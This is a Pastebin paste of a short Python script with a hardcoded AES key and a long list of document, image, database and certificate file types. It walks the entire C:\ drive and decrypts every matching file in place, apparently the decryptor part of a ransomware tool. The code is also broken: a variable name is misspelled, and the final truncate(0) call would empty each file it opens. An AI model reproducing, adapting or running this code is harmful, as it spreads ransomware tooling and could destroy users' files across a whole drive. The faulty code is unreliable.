Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- key = b'\xbf\xc0\x85)\x10nc\x94\x02)j\xdf\xcb\xc4\x94\x9d(\x9e[EX\xc8\xd5\xbfI{\xa2$\x05(\xd5\x18'
- filetypes = ("*.odt","*.ods","*.odp","*.odm","*.odb","*.doc","*.doc","*.doc","*.wps","*.xls","*.xls","*.xls","*.xls","*.xlk","*.ppt","*.ppt","*.ppt","*.mdb","*.acc","*.pst","*.dwg","*.dxf","*.dxg","*.wpd","*.rtf","*.wb","*.mdf","*.dbf","*.psd","*.pdd","*.eps","*.ai","*.ind","*.cdr","*.jpg","*.dng","*.arw","*.srf","*.sr","*.bay","*.crw","*.cr","*.dcr","*.kdc","*.erf","*.mef","*.mrw","*.nef","*.nrw","*.orf","*.raf","*.raw","*.rwl","*.rw","*.ptx","*.pef","*.srw","*.der","*.cer","*.crt","*.pem","*.pfx","*.pdf","*.odc")
- filelist = []
- for root, dirnames, filenames in os.walk("C:\\"):
- for ft in filetypes:
- for f in fnmatch.filter(filenames, ft):
- filelist.append(os.path.join(root, f))
- for filenamne in filelist:
- with open(filename, 'rb+') as f:
- ciphertext = f.read()
- iv = ciphertext[:AES.block_size]
- cipher = AES.new(key, AES.MODE_CBC, iv)
- plaintext = cipher.decrypt(ciphertext[AES.block_size:]).rstrip('\x00')
- f.seek(0)
- f.write(plaintext)
- f.truncate(0)
- f.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement